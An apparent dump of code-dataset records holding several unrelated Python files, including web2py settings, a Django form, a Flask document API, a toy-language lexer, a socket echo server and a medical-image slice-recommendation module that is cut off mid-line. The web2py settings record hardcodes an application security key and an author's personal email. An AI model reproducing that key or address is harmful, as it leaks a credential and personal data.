)\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"130882862","text":"from gluon.storage import Storage\nsettings = Storage()\n\nsettings.migrate = True\nsettings.title = 'Swing Donor'\nsettings.subtitle = 'donate where it counts'\nsettings.author = 'Austin Gage'\nsettings.author_email = 'austingage72@gmail.com'\nsettings.keywords = ''\nsettings.description = ''\nsettings.layout_theme = 'Default'\nsettings.database_uri = 'sqlite://storage.sqlite'\nsettings.security_key = 'f1ccad9d-54c6-4fbf-b6fa-90862e0d0477'\nsettings.email_server = 'logging'\nsettings.email_sender = 'you@example.com'\nsettings.email_login = ''\nsettings.login_method = 'local'\nsettings.login_config = ''\nsettings.plugins = []\n","sub_path":"models/0.py","file_name":"0.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"184805292","text":"def is_palindrome(n):\n s = str(n)\n result = True\n while len(s) > 1:\n if s[0] != s[-1]:\n result = False\n break\n else:\n s = s[1:-1]\n return result\n\ndef advance(n):\n return n + int(str(n)[::-1])\n\ndef lychrel_seq(n, maxiters = 50, verbose = False):\n current = n\n for i in range(maxiters):\n if verbose:\n print(current)\n current = advance(current)\n if is_palindrome(current):\n break\n elif i == maxiters - 1:\n i = None\n\n return i\n\n\nif __name__ == \"__main__\":\n lychrels = 0\n\n for i in range(1,10001):\n a = lychrel_seq(i)\n if a == None:\n lychrels += 1\n\n print(lychrels)\n","sub_path":"e55.py","file_name":"e55.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"550802800","text":"\"\"\"Forms for the reports app.\"\"\"\n\nimport datetime as dt\n\nfrom django import forms\nfrom django.utils.timezone import make_aware\n\nfrom inventory.models import Supplier\n\n\nclass ReorderReportForm(forms.Form):\n \"\"\"Form for creating reorder reports.\"\"\"\n\n supplier = forms.ModelChoiceField(queryset=Supplier.objects.filter(active=True))\n date_from = forms.DateField(widget=forms.DateInput(attrs={\"class\": \"datepicker\"}))\n date_to = forms.DateField(widget=forms.DateInput(attrs={\"class\": \"datepicker\"}))\n\n def clean(self):\n \"\"\"Make date range timezone aware.\"\"\"\n cleaned_data = super().clean()\n cleaned_data[\"date_from\"] = self.convert_date(cleaned_data[\"date_from\"])\n cleaned_data[\"date_to\"] = self.convert_date(cleaned_data[\"date_to\"])\n return cleaned_data\n\n def convert_date(self, date):\n \"\"\"Return a datetime.date as a timezone aware datetime.datetime.\"\"\"\n return make_aware(dt.datetime.combine(date, dt.datetime.min.time()))\n","sub_path":"reports/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"408879527","text":"import json\n\nclass Videos:\n def __init__(self):\n try:\n with open(\"videos1.json\", \"r\") as f:\n self.videos = json.load(f)\n except FileNotFoundError:\n self.videos = []\n\n def all(self):\n return self.videos\n\n def get(self, id):\n video = [video for video in self.all() if video['id'] == id]\n if video:\n return video[0]\n return []\n\n def create(self, data):\n self.videos.append(data)\n self.save_all()\n\n def save_all(self):\n with open(\"videos1.json\", \"w\") as f:\n json.dump(self.videos, f)\n\n def update(self, id, data):\n video = self.get(id)\n if video:\n index = self.videos.index(video)\n self.videos[index] = data\n self.save_all()\n return True\n return False\n\n\n def delete(self, id):\n video = self.get(id)\n if video:\n self.videos.remove(video)\n self.save_all()\n return True\n return False\n\n\n\nvideos = Videos()\n\n\n\n","sub_path":"video_library_rest/data_rest.py","file_name":"data_rest.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"548756623","text":"import csv\nimport os.path\n\n\ndef csv_profile_writer_to_local(profiles, filename, fieldnames):\n file_exists = os.path.isfile(filename)\n with open(filename, 'a') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n if not file_exists:\n writer.writeheader() # file doesn't exist yet, write a header\n for p in profiles:\n writer.writerow(p.dictstyle())\n","sub_path":"university_counselor/b17706spark_usedcars/i2SGScrapy/quora/profile_writer.py","file_name":"profile_writer.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"559993384","text":"from os import sys, path\nfrom random import randint\nfrom finite_automata import FiniteAutomata\nimport json\n\n# Class acts as a parser.\n# parametrs: fileName - the source of the toy language source code\nclass Scanner:\n # Consturctor for the Scanner, takes as a parameter the fileName consisting of the\n # source code that we want our lexer to tokenize\n def __init__(self, fileName):\n # filename refers to the toy language source code\n self.fileName = fileName\n # file to store the program internal form\n self.outputFileName = path.splitext(path.basename(fileName))[0] + \"_pif.txt\"\n # clear file if already exist\n open(self.outputFileName, 'w').close()\n # file to store the identifiers table\n self.outputIdentifiersTable = path.splitext(path.basename(fileName))[0] + \"_id_table.txt\"\n # file to store the constants table\n self.outputConstantsTable = path.splitext(path.basename(fileName))[0] + \"_const_table.txt\"\n # hashtable for all the program symbols (if, for, while, else, int, float, etc)\n self.symbolsTable = {}\n # hashtable for storing the identifiers, as a pair identifier -> integer id\n self.identifiersTable = {}\n # hashtable for storing the identifiers, as a pair constant -> integer id\n self.constantsTable = {}\n # load all the toy language symbols\n self.populateSymbolsTable()\n # Finite automatas\n with open('symbols.json') as f:\n self.symbols_fa = FiniteAutomata(json.load(f))\n with open('identifier.json') as f:\n self.identifers_fa = FiniteAutomata(json.load(f))\n with open('constant.json') as f:\n self.constants_fa = FiniteAutomata(json.load(f))\n\n # method loads symbol table in memory from the disc\n def populateSymbolsTable(self):\n try:\n # open the file\n f = open(\"symbols.dat\")\n # iterate through its lines\n for line in f.readlines():\n # get the symbol and the symbol id\n (symbol, sid) = line.split()\n # add to the symbols table\n self.symbolsTable[symbol] = sid\n except IOError:\n # In case there is no such file, fail fast!\n print(\"> Error: Symbols file not found!\")\n sys.exit()\n\n # method returns a random integer that is not in the values array\n def randomNotIn(self, values):\n # returns a random vaue between 1 and 100000\n r = randint(1, 100000)\n # while that value already exists in the array values\n while r in values:\n # generate a new one\n r = randint(1, 100000)\n # return the number generated\n return r\n\n # method append buff to the file outputFileName\n def appendToOutput(self, buff):\n # open file\n with open(self.outputFileName, \"a\") as f:\n # write the string buff as a new line\n f.write(buff + \" \")\n\n # method write the identifier and constant tables\n def writeTables(self):\n # open file for identifiers table\n with open(self.outputIdentifiersTable, \"w\") as f:\n # iterate through the identifiers table\n for (key, val) in self.identifiersTable.iteritems():\n # write the pair on a new line\n f.write(\"%s %s\\n\" % (key, val))\n # open file for constant table\n with open(self.outputConstantsTable, \"w\") as f:\n # iterate through the constants table\n for (key, val) in self.constantsTable.iteritems():\n # write the pair on a new line\n f.write(\"%s %s\\n\" % (key, val))\n\n # method prints the symbol to the program internal form file output\n def addSymbol(self, _symbol):\n # if the symbol is in the symbol table\n if _symbol in self.symbolsTable:\n # print it\n self.appendToOutput(str(self.symbolsTable[_symbol]))\n return True\n else:\n # return false because _symbol is not a valid symbol, and then throw an error\n return False\n\n # method prints identifier and it's id to the output file\n def addIdentifier(self, _id):\n # assign a new, unused integer id for the current identifier\n if _id not in self.identifiersTable:\n self.identifiersTable[_id] = self.randomNotIn(self.identifiersTable.values())\n # print to program internal form output file\n self.appendToOutput(\n self.symbolsTable[\"identifier\"])\n return True\n\n # method adds a constant to the table and prints it to the output file\n def addConstant(self, _val):\n # assign a new, unsued integer id for the current identifier\n if _val not in self.constantsTable:\n self.constantsTable[_val] = self.randomNotIn(self.constantsTable.values())\n # print to the program internl form output file\n self.appendToOutput(\n self.symbolsTable[\"constant\"])\n return True\n\n # method tokenize the source file\n def tokenize(self):\n try:\n # read the file\n f = open(self.fileName, \"r\")\n # iterate on all the read lines\n for (i, line) in enumerate(f.readlines()):\n program = line\n while program != \"\":\n program = program.strip()\n # get the longest accepted prefix among all of the 3 finite automatas\n _sym = self.symbols_fa.longest_accepted_prefix(program)\n _id = self.identifers_fa.longest_accepted_prefix(program)\n _const = self.constants_fa.longest_accepted_prefix(program)\n # some of the symbols are also accepted identifiers (eg: while, int, etc)\n # in case they are eqla, symbols have higher priority\n if _sym == _id:\n _id = None\n if _id is not None and _id != \"\":\n if len(_id) > 250:\n print(\"> Error: Identifier has too many characters, line %d.\" % (i + 1))\n sys.exit(1)\n # add the token to the interal hashmaps\n self.addIdentifier(_id)\n program = program[len(_id):]\n elif _sym is not None and _sym != \"\":\n self.addSymbol(_sym)\n program = program[len(_sym):]\n elif _const is not None and _const != \"\":\n self.addConstant(_const)\n program = program[len(_const):]\n else:\n print(\"> Error: Syntax error. Unexpected token at line %d:%s\" % (i + 1, program))\n sys.exit(1)\n self.writeTables()\n except IOError:\n print(\"> Error: Source file not found!\")\n sys.exit(1)\n\n# method scans and tokenize the filename source code\ndef scan(filename):\n # create the scaner\n s = Scanner(filename)\n # call the tokenize method\n s.tokenize()\n\n# if name is main\nif __name__ == '__main__':\n # get the first argument of the args\n # log it\n if len(sys.argv) > 1:\n print(\"> Scanning \" + str(sys.argv[1]) + \"...\")\n # scan that filename\n scan(sys.argv[1])\n else:\n scan(\"main.cpp\")\n print(\"> Done\")\n\n","sub_path":"ubb/lftc/lab5/gcc.py","file_name":"gcc.py","file_ext":"py","file_size_in_byte":6609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"481280729","text":"import decimal\nimport uuid\nfrom datetime import datetime\n\nfrom flask import request\nfrom flask_restplus import Resource, reqparse\n\nfrom ..models.mine_expected_document import MineExpectedDocument\n\nfrom app.extensions import api\nfrom ....utils.access_decorators import requires_role_mine_view, requires_role_mine_create, requires_any_of, MINE_VIEW, MINE_CREATE, MINESPACE_PROPONENT\nfrom ....utils.resources_mixins import UserMixin, ErrorMixin\n\n\nclass ExpectedDocumentResource(Resource, UserMixin, ErrorMixin):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'document', type=dict, required=True, help='document to change', location=\"json\")\n\n @api.doc(\n params={\n 'exp_doc_guid':\n 'Required: Mine number or guid. returns list of expected documents for the mine'\n })\n @requires_role_mine_view\n def get(self, exp_doc_guid=None):\n if exp_doc_guid is None:\n return self.create_error_payload(404, 'Must provide a expected document guid.'), 404\n mine_exp_doc = MineExpectedDocument.find_by_exp_document_guid(exp_doc_guid)\n if mine_exp_doc is None:\n return self.create_error_payload(404, 'Expected document not found'), 404\n return {'expected_document': mine_exp_doc.json()}\n\n @api.doc(params={'exp_doc_guid': 'Required: Mine number or guid. Updates expected document'})\n @requires_any_of([MINE_CREATE, MINESPACE_PROPONENT])\n def put(self, exp_doc_guid=None):\n if exp_doc_guid is None:\n return self.create_error_payload(404, 'Must provide a expected document guid.'), 404\n\n exp_doc = MineExpectedDocument.find_by_exp_document_guid(exp_doc_guid)\n if exp_doc is None:\n return self.create_error_payload(\n 404, f'expected_document with guid \"{exp_doc_guid}\" not found'), 404\n\n data = self.parser.parse_args()\n updated_doc = data['document']\n if str(exp_doc.exp_document_guid) != updated_doc['exp_document_guid']:\n return self.create_error_payload(500, 'exp_document does not match guid provided'), 500\n\n exp_doc.exp_document_name = updated_doc.get('exp_document_name')\n exp_doc.exp_document_description = updated_doc.get('exp_document_description')\n if updated_doc.get('due_date') is not None:\n exp_doc.due_date = updated_doc.get('due_date')\n\n exp_doc.received_date = updated_doc.get('received_date')\n exp_doc.exp_document_description = updated_doc.get('exp_document_description')\n\n updated_doc_status = updated_doc.get('exp_document_status')\n if updated_doc_status is not None:\n updated_doc_status_code = updated_doc_status.get('exp_document_status_code')\n if updated_doc_status_code is not None:\n exp_doc.exp_document_status_code = updated_doc_status_code\n\n exp_doc.save()\n return {'expected_document': exp_doc.json()}\n\n @api.doc(params={'exp_doc_guid': 'Required: Mine number or guid. Deletes expected document.'})\n @requires_role_mine_create\n def delete(self, exp_doc_guid=None):\n if exp_doc_guid is None:\n return self.create_error_payload(404, 'Must provide a expected document guid.'), 404\n exp_doc = MineExpectedDocument.find_by_exp_document_guid(exp_doc_guid)\n if exp_doc is not None:\n exp_doc.active_ind = False\n exp_doc.save()\n return {'status': 200, 'message': 'expected_document deleted successfully.'}\n return self.create_error_payload(\n 404, f'expected_document with guid \"{exp_doc_guid}\" not found'), 404\n","sub_path":"python-backend/app/api/documents/expected/resources/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"577108931","text":"import logging \n\nlog_config = {\n \"MethodNotSupported\" : {\"level\": 40,\n \"message\": \"Method not supported for more than one choice\"},\n \"InvalidChoice\": {\"level\": 40,\n \"message\": \"Choices doesn't have your current state\"},\n \"NaN\": {\"level\": 40,\n \"message\": \"You need to choose from available numbers 🔢 on board to mark your location\"},\n \"OutOfRange\": {\"level\": 40,\n \"message\": \"You can run but can't hide 👟, choose a number that is available\"},\n \"Won\": {\"level\": 20,\n \"message\": \"You have won this match 🏆, rematch?\"},\n \"Tie\": {\"level\": 20,\n \"message\": \"You've both outsmarted each other, 🤼 try again?\"},\n \"End\": {\"level\": 20,\n \"message\": \"Hope you had as much fun 👻, as I had while writing this.\"},\n \"Start\": {\"level\": 20,\n \"message\": \"Match Started! 🏁\"}\n}\n\n\nlogging.basicConfig(filename=\"logfile.log\", \n format='%(asctime)s %(message)s', \n filemode='w') \nlogger = logging.getLogger() \nlogger.setLevel(logging.DEBUG) \n\ndef log(case):\n print(log_config[case]['message'])\n logger.log(log_config[case]['level'], log_config[case]['message'])\n","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"410702664","text":"import socket\r\nHost = '127.0.0.1'\r\nPort = 65432\r\n\r\nwith socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s: #creating socket\r\n s.bind((Host,Port)) #binding Socket\r\n s.listen() #listening for connection\r\n conn, addr = s.accept() #accepting connection\r\n with conn:\r\n print(\"conected by\",addr)\r\n while True:\r\n data = conn.recv(1024) #reciving data\r\n if not data:\r\n break #if no data is being recived then clossing connection\r\n conn.sendall(data) #sending back recived data\r\n\r\n","sub_path":"Assignment-1-Socket-Programming/Dharmick/echo-server.py","file_name":"echo-server.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"60868096","text":"from utils import line_to_dictionary\nimport random\n\nclass RandomVariable:\n def __init__(self,args):\n params = line_to_dictionary(args)\n print(params)\n min = params.get(\"min\", None)\n if min != None:\n self.min = int(min)\n else:\n self.min = 0\n max = params.get(\"max\", None)\n if max != None:\n self.max = int(max)\n else:\n self.max = 1000\n\n def eval(self):\n return random.randint(self.min, self.max)\n","sub_path":"src/ApiTester/variables/random_variable.py","file_name":"random_variable.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"562548125","text":"from i3Deep import utils\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nimport os\r\nfrom skimage import measure\r\nimport copy\r\nimport argparse\r\nfrom shutil import copyfile\r\nimport time\r\nimport subprocess\r\nimport signal\r\nfrom evaluate import evaluate\r\nimport pickle\r\nimport random\r\nimport multiprocessing as mp\r\nfrom functools import partial\r\nimport pandas as pd\r\nfrom pathlib import Path\r\nimport GeodisTK\r\nimport shutil\r\nimport json\r\nimport i3Deep.mask_recommendation.my_method as my_method\r\nimport i3Deep.mask_recommendation.deep_i_geos as deep_i_geos\r\nimport i3Deep.mask_recommendation.graph_cut as graph_cut\r\nimport i3Deep.mask_recommendation.random_walker as random_walker\r\nimport i3Deep.mask_recommendation.watershed as watershed\r\nfrom scipy.ndimage.measurements import center_of_mass\r\nimport pandas as pd\r\n\r\n\r\n# def recommend_slices(image_path, prediction_path, uncertainty_path, gt_path, save_path, find_best_slices_func, num_slices, slice_gap, default_size, deepigeos=0):\r\n# image_filenames = utils.load_filenames(image_path)\r\n# prediction_filenames = utils.load_filenames(prediction_path)\r\n# uncertainty_filenames = utils.load_filenames(uncertainty_path)\r\n# gt_filenames = utils.load_filenames(gt_path)\r\n# total_recommended_slices = 0\r\n# total_gt_slices = 0\r\n#\r\n# for i in tqdm(range(len(uncertainty_filenames))):\r\n# uncertainty, affine, spacing, header = utils.load_nifty(uncertainty_filenames[i])\r\n# prediction, _, _, _ = utils.load_nifty(prediction_filenames[i])\r\n# gt, _, _, _ = utils.load_nifty(gt_filenames[i])\r\n# if deepigeos != 0:\r\n# image, _, _, _ = utils.load_nifty(image_filenames[i])\r\n# adapted_slice_gap = adapt_slice_gap(uncertainty, slice_gap, default_size)\r\n# # indices_dim_0: Sagittal\r\n# # indices_dim_1: Coronal\r\n# # indices_dim_2: Axial\r\n# indices_dim_0, indices_dim_1, indices_dim_2 = find_best_slices_func(prediction, uncertainty, num_slices, adapted_slice_gap)\r\n# recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n# gt_slices = comp_infected_slices(gt)\r\n# total_recommended_slices += recommended_slices\r\n# total_gt_slices += gt_slices\r\n# print(\"name: {} recommended slices: {}, gt slices: {}, ratio: {}\".format(os.path.basename(uncertainty_filenames[i]), recommended_slices, gt_slices, recommended_slices / gt_slices))\r\n# # print(\"indices_dim_0: {}, indices_dim_1: {}, indices_dim_2: {}\".format(indices_dim_0, indices_dim_1, indices_dim_2))\r\n# filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n# if deepigeos != 0:\r\n# if deepigeos == 1:\r\n# geodisc_lambda = 0.99\r\n# else:\r\n# geodisc_lambda = 0.0\r\n# geodisc_map = filtered_mask.astype(np.uint8)\r\n# geodisc_map[geodisc_map < 0] = 0\r\n# filtered_mask = GeodisTK.geodesic3d_raster_scan(image.astype(np.float32).squeeze(0), geodisc_map, spacing.astype(np.float32), geodisc_lambda, 1)\r\n# utils.save_nifty(save_path + os.path.basename(uncertainty_filenames[i])[:-7] + \"_0001.nii.gz\", filtered_mask, affine, spacing, header, is_mask=True)\r\n# total_ratio = total_recommended_slices / total_gt_slices\r\n# print(\"total recommended slices: {}, total gt slices: {}, total ratio: {}\".format(total_recommended_slices, total_gt_slices, total_ratio))\r\n# return total_ratio\r\n\r\n\r\ndef recommend_slices_parallel(prediction_path, uncertainty_path, gt_path, save_path, find_best_slices_func, params):\r\n prediction_filenames = utils.load_filenames(prediction_path)\r\n uncertainty_filenames = utils.load_filenames(uncertainty_path)\r\n gt_filenames = utils.load_filenames(gt_path)\r\n\r\n # start_time = time.time()\r\n print(\"Starting slice recommendation...\")\r\n results = pool.map(partial(recommend_slices_single_case,\r\n prediction_filenames=prediction_filenames, uncertainty_filenames=uncertainty_filenames, gt_filenames=gt_filenames,\r\n save_path=save_path, find_best_slices_func=find_best_slices_func, params=params),\r\n range(len(uncertainty_filenames)))\r\n print(\"Finished slice recommendation.\")\r\n # print(\"Recommend slices elapsed time: \", time.time() - start_time)\r\n # results = np.asarray(results)\r\n # total_recommended_slices = results[:, 0]\r\n # total_gt_slices = results[:, 1]\r\n # total_recommended_slices = np.sum(total_recommended_slices)\r\n # total_gt_slices = np.sum(total_gt_slices)\r\n # total_ratio = total_recommended_slices / total_gt_slices\r\n # print(\"total recommended slices: {}, total gt slices: {}, total ratio: {}\".format(total_recommended_slices, total_gt_slices, total_ratio))\r\n return results\r\n\r\n\r\ndef recommend_slices_single_case(i, prediction_filenames, uncertainty_filenames, gt_filenames, save_path, find_best_slices_func, params, debug=False):\r\n uncertainty, affine, spacing, header = utils.load_nifty(uncertainty_filenames[i])\r\n prediction, _, _, _ = utils.load_nifty(prediction_filenames[i])\r\n gt, _, _, _ = utils.load_nifty(gt_filenames[i])\r\n params[\"slice_gap\"] = adapt_slice_gap(uncertainty, params[\"slice_gap\"], params[\"default_size\"])\r\n # indices_dim_0: Sagittal\r\n # indices_dim_1: Coronal\r\n # indices_dim_2: Axial\r\n filtered_mask, recommended_slices, recommended_patch_area = find_best_slices_func(prediction, gt, uncertainty, params, os.path.basename(gt_filenames[i]))\r\n slices = gt.shape[2]\r\n gt_slices = comp_infected_slices(gt)\r\n size = np.prod(gt.shape)\r\n infection_size = gt_slices * np.prod(gt.shape[:2])\r\n prediction_slices = comp_infected_slices(prediction)\r\n if debug:\r\n print(\"name: {}, slices: {}, gt inf slices: {}, pred inf slices: {}, rec slices: {}, rec slice ratio: {}, rec slice inf ratio: {}, patch ratio: {}, patch inf ratio: {}\".format(\r\n os.path.basename(uncertainty_filenames[i]),\r\n slices,\r\n gt_slices,\r\n prediction_slices,\r\n recommended_slices,\r\n recommended_slices / slices,\r\n recommended_slices / gt_slices,\r\n recommended_patch_area / size,\r\n recommended_patch_area / infection_size))\r\n utils.save_nifty(save_path + os.path.basename(uncertainty_filenames[i])[:-7] + \"_\" + str(modality).zfill(4) + \".nii.gz\", filtered_mask, affine, spacing, header, is_mask=True)\r\n results = {}\r\n results[\"total_slices\"] = slices\r\n results[\"gt_infected_slices\"] = gt_slices\r\n results[\"pred_infected_slices\"] = prediction_slices\r\n results[\"recommended_slices\"] = recommended_slices\r\n results[\"size\"] = size\r\n results[\"infection_size\"] = infection_size\r\n results[\"recommended_patch_area\"] = recommended_patch_area\r\n return results\r\n\r\n\r\ndef adapt_slice_gap(mask, slice_gap, default_size):\r\n return int((mask.shape[0] / default_size) * slice_gap)\r\n\r\n\r\ndef find_best_slices_baseline_V1(prediction, gt, uncertainty, params):\r\n \"Find random slices in every dimension without a min slice gap.\"\r\n _, recommended_slices, _ = find_best_slices_V7(prediction, gt, uncertainty, params)\r\n num_slices = int(recommended_slices / 3)\r\n indices_dim_0 = random.sample(range(uncertainty.shape[0]), num_slices)\r\n indices_dim_1 = random.sample(range(uncertainty.shape[1]), num_slices)\r\n indices_dim_2 = random.sample(range(uncertainty.shape[2]), num_slices)\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_baseline_V2(prediction, gt, uncertainty, params):\r\n \"Find random slices in every dimension within equidistant distances.\"\r\n _, recommended_slices, _ = find_best_slices_V7(prediction, gt, uncertainty, params)\r\n num_slices = int(recommended_slices / 3)\r\n def get_indices(axis):\r\n slice_sectors = np.linspace(0, uncertainty.shape[axis], num_slices, endpoint=True).astype(int)\r\n indices = [random.randint(slice_sectors[i-1], slice_sectors[i]) for i in range(1, len(slice_sectors)-1)]\r\n return indices\r\n\r\n indices_dim_0 = get_indices(0)\r\n indices_dim_1 = get_indices(1)\r\n indices_dim_2 = get_indices(2)\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0].shape)\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_baseline_V3(prediction, gt, uncertainty, params):\r\n \"Find random slices in every dimension within equidistant distances.\"\r\n _, recommended_slices, _ = find_best_slices_V7(prediction, gt, uncertainty, params)\r\n num_slices = int(recommended_slices / 3)\r\n\r\n def get_start_end_index(axis):\r\n _axis = [0, 1, 2]\r\n _axis.remove(axis)\r\n _axis = tuple(_axis)\r\n prediction_dim = np.sum(prediction, axis=_axis)\r\n start = (prediction_dim!=0).argmax()\r\n prediction_dim = np.flip(prediction_dim)\r\n end = (prediction_dim!=0).argmax()\r\n end = len(prediction_dim) - end\r\n return start, end\r\n\r\n def get_indices(axis):\r\n start, end = get_start_end_index(axis)\r\n slice_sectors = np.linspace(start, end, num_slices, endpoint=True).astype(int)\r\n # print(\"Start: {}, end: {}, slice_sectors: {}\".format(start, end, slice_sectors))\r\n indices = [random.randint(slice_sectors[i-1], slice_sectors[i]) for i in range(1, len(slice_sectors)-1)]\r\n return indices\r\n\r\n indices_dim_0 = get_indices(0)\r\n indices_dim_1 = get_indices(1)\r\n indices_dim_2 = get_indices(2)\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0].shape)\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V1(prediction, gt, uncertainty, params):\r\n \"Find best slices based on maximum 2D plane uncertainty in every dimension without a min slice gap.\"\r\n uncertainty_dim_0 = np.sum(-1*uncertainty, axis=(1, 2))\r\n uncertainty_dim_1 = np.sum(-1*uncertainty, axis=(0, 2))\r\n uncertainty_dim_2 = np.sum(-1*uncertainty, axis=(0, 1))\r\n indices_dim_0 = np.argsort(uncertainty_dim_0)[:params[\"num_slices\"]]\r\n indices_dim_1 = np.argsort(uncertainty_dim_1)[:params[\"num_slices\"]]\r\n indices_dim_2 = np.argsort(uncertainty_dim_2)[:params[\"num_slices\"]]\r\n # dim_0 = uncertainty_dim_0[indices_dim_0]*-1\r\n # dim_1 = uncertainty_dim_1[indices_dim_1]*-1\r\n # dim_2 = uncertainty_dim_2[indices_dim_2]*-1\r\n\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0].shape)\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V2(prediction, gt, uncertainty, params):\r\n \"Find best slices based on maximum 2D plane uncertainty in every dimension with a min slice gap.\"\r\n uncertainty_dim_0 = np.sum(-1*uncertainty, axis=(1, 2))\r\n uncertainty_dim_1 = np.sum(-1*uncertainty, axis=(0, 2))\r\n uncertainty_dim_2 = np.sum(-1*uncertainty, axis=(0, 1))\r\n indices_dim_0 = np.argsort(uncertainty_dim_0)\r\n indices_dim_1 = np.argsort(uncertainty_dim_1)\r\n indices_dim_2 = np.argsort(uncertainty_dim_2)\r\n indices_dim_0 = filter_indices(indices_dim_0, num_slices, slice_gap)\r\n indices_dim_1 = filter_indices(indices_dim_1, num_slices, slice_gap)\r\n indices_dim_2 = filter_indices(indices_dim_2, num_slices, slice_gap)\r\n # dim_0 = uncertainty_dim_0[indices_dim_0]*-1\r\n # dim_1 = uncertainty_dim_1[indices_dim_1]*-1\r\n # dim_2 = uncertainty_dim_2[indices_dim_2]*-1\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V3(prediction, gt, uncertainty, params):\r\n # Threshold uncertainty values\r\n # Find and partition blobs\r\n # For each blob:\r\n # Find center of mass:\r\n # Mean of X\r\n # Mean of Y\r\n # Mean of Z\r\n # Place three planes in center with normal pointing X, Y and Z\r\n # Done\r\n # V4 include uncertainties with V2\r\n indices_dim_0, indices_dim_1, indices_dim_2 = [], [], []\r\n prediction = utils.normalize(prediction)\r\n prediction[prediction >= 0.5] = 1\r\n prediction[prediction < 0.5] = 0\r\n labeled = measure.label(prediction, background=False, connectivity=2)\r\n unique, counts = np.unique(labeled, return_counts=True)\r\n unique = unique[1:] # Remove zero / background\r\n counts = counts[1:] # Remove zero / background\r\n sorted_indices = np.argsort(counts)[::-1]\r\n unique = unique[sorted_indices][:5]\r\n\r\n # blob_masks = []\r\n # for label in unique:\r\n # blob_mask = copy.deepcopy(labeled)\r\n # blob_mask[blob_mask != label] = 0\r\n # blob_mask[blob_mask == label] = 1\r\n # # sub_blob_masks = partition_blob(blob_mask)\r\n # # blob_masks.extend(sub_blob_masks)\r\n # blob_masks.append(blob_mask)\r\n\r\n for label in unique:\r\n blob_mask = copy.deepcopy(labeled)\r\n blob_mask[blob_mask != label] = 0\r\n blob_mask[blob_mask == label] = 1\r\n def find_center(dim):\r\n dims = [0, 1, 2]\r\n dims.remove(dim)\r\n blob_mask_dim = np.sum(blob_mask, axis=tuple(dims))\r\n nonzero_indices = np.nonzero(blob_mask_dim)\r\n min_index = np.min(nonzero_indices)\r\n max_index = np.max(nonzero_indices)\r\n center = int(min_index + ((max_index - min_index) / 2))\r\n return center\r\n indices_dim_0.append(find_center(0))\r\n indices_dim_1.append(find_center(1))\r\n indices_dim_2.append(find_center(2))\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V4(prediction, gt, uncertainty, params):\r\n indices_dim_0_V2, indices_dim_1_V2, indices_dim_2_V2 = find_best_slices_V2(prediction, uncertainty, num_slices, slice_gap)\r\n indices_dim_0_V3, indices_dim_1_V3, indices_dim_2_V3 = find_best_slices_V3(prediction, uncertainty, num_slices, slice_gap)\r\n indices_dim_0 = np.concatenate((indices_dim_0_V2, 